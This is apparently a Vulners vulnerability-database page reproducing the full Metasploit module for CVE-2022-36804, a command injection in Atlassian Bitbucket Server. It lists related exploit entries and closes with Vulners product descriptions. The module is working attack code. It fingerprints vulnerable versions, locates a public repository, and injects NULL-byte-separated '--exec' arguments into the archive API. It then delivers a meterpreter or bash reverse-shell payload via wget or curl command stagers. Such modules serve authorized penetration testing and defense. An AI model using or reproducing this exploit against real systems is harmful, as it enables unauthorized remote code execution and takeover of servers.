| Reporter | Title | Published | Views | Family All 55 |
|---|---|---|---|---|
| Exploit for Argument Injection in Atlassian Bitbucket | 24 Sep 202205:04 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 26 Feb 202620:42 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 20 Sep 202202:35 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 20 Sep 202201:30 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 20 Sep 202202:35 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 23 Jan 202312:51 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 23 Sep 202211:05 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 25 Sep 202213:16 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 30 Jan 202515:52 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 19 Sep 202213:15 | – | githubexploit |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bitbucket Git Command Injection',
'Description' => %q{
Various versions of Bitbucket Server and Data Center are vulnerable to
an unauthenticated command injection vulnerability in multiple API endpoints.
The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint
creates an archive of the repository, leveraging the `git-archive` command to do so.
Supplying NULL bytes to the request enables the passing of additional arguments to the
command, ultimately enabling execution of arbitrary commands.
},
'License' => MSF_LICENSE,
'Author' => [
'TheGrandPew', # discovery
'Ron Bowes', # analysis and PoC
'Jang', # testanull - PoC
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ],
[ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ],
[ 'CVE', '2022-36804' ]
],
'Platform' => [ 'linux' ],
'Privileged' => false,
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Type' => :linux_dropper,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => %w[wget curl bourne],
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Type' => :unix_cmd,
'Arch' => ARCH_CMD,
'Payload' => { 'BadChars' => %(:/?#[]@) },
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
}
]
],
'DisclosureDate' => '2022-08-24',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ IOC_IN_LOGS ],
'SideEffects' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
Opt::RPORT(7990),
OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']),
OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]),
OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'login')
)
return CheckCode::Unknown('Failed to receive response from application') unless res
unless res.body.include?('Bitbucket')
return CheckCode::Safe('Target does not appear to be Bitbucket')
end
footer = res.get_html_document&.at('footer')
return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer
version_str = footer.at('span')&.children&.text
return CheckCode::Detected('Cannot find version string in footer') unless version_str
matches = version_str.match(/v(\d+\.\d+\.\d+)/)
return CheckCode::Detected('Version unknown') unless matches && matches.length > 1
version_str = matches[1]
vprint_status("Found Bitbucket version: #{matches[1]}")
num_vers = Rex::Version.new(version_str)
return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')
major, minor, revision = version_str.split('.')
case major
when '6'
return CheckCode::Appears
when '7'
case minor
when '6'
return CheckCode::Appears if revision.to_i < 17
when '17'
return CheckCode::Appears if revision.to_i < 10
when '21'
return CheckCode::Appears if revision.to_i < 4
end
when '8'
case minor
when '0', '1'
return CheckCode::Appears if revision.to_i < 3
when '2'
return CheckCode::Appears if revision.to_i < 2
when '3'
return CheckCode::Appears if revision.to_i < 1
end
end
CheckCode::Detected
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def authenticate
print_status("Attempting to authenticate with user '#{username}' and password '#{password}'")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
'keep_cookies' => true,
'vars_post' =>
{
'j_username' => username,
'j_password' => password,
'submit' => 'Log in'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'dashboard'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res
unless res.body.include?('Your work') && res.body.include?('Projects')
fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')
end
@authenticated = true
print_good('Successfully logged into Bitbucket!')
end
def find_public_repo
print_status('Searching Bitbucket for publicly accessible repository')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
'keep_cookies' => true
)
fail_with(Failure::Disconnected, 'Did not receive a response') unless res
json_data = JSON.parse(res.body)
fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data
unless json_data['size'] > 0
fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')
end
# opt for public repos unless none exist.
# Attempt to use a private repo if so
repos = json_data['values']
possible_repos = repos.select { |repo| repo['public'] == true }
if possible_repos.empty? && @authenticated
possible_repos = repos.select { |repo| repo['public'] == false }
end
fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?
possible_repos.each do |repo|
project = repo['project']
next unless project
@project = project['key']
@repo = repo['slug']
break if @project && @repo
end
fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo
print_good("Found public repo '#{@repo}' in project '#{@project}'!")
end
def execute_command(cmd, _opts = {})
uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')
send_request_cgi(
'method' => 'GET',
'uri' => uri,
'keep_cookies' => true,
'vars_get' =>
{
'format' => 'zip',
'path' => Rex::Text.rand_text_alpha(2..5),
'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}"
}
)
end
def exploit
@authenticated = false
authenticate unless username.blank? && password.blank?
find_public_repo
if target['Type'] == :linux_dropper
execute_cmdstager(linemax: 6000)
else
execute_command(payload.encoded)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation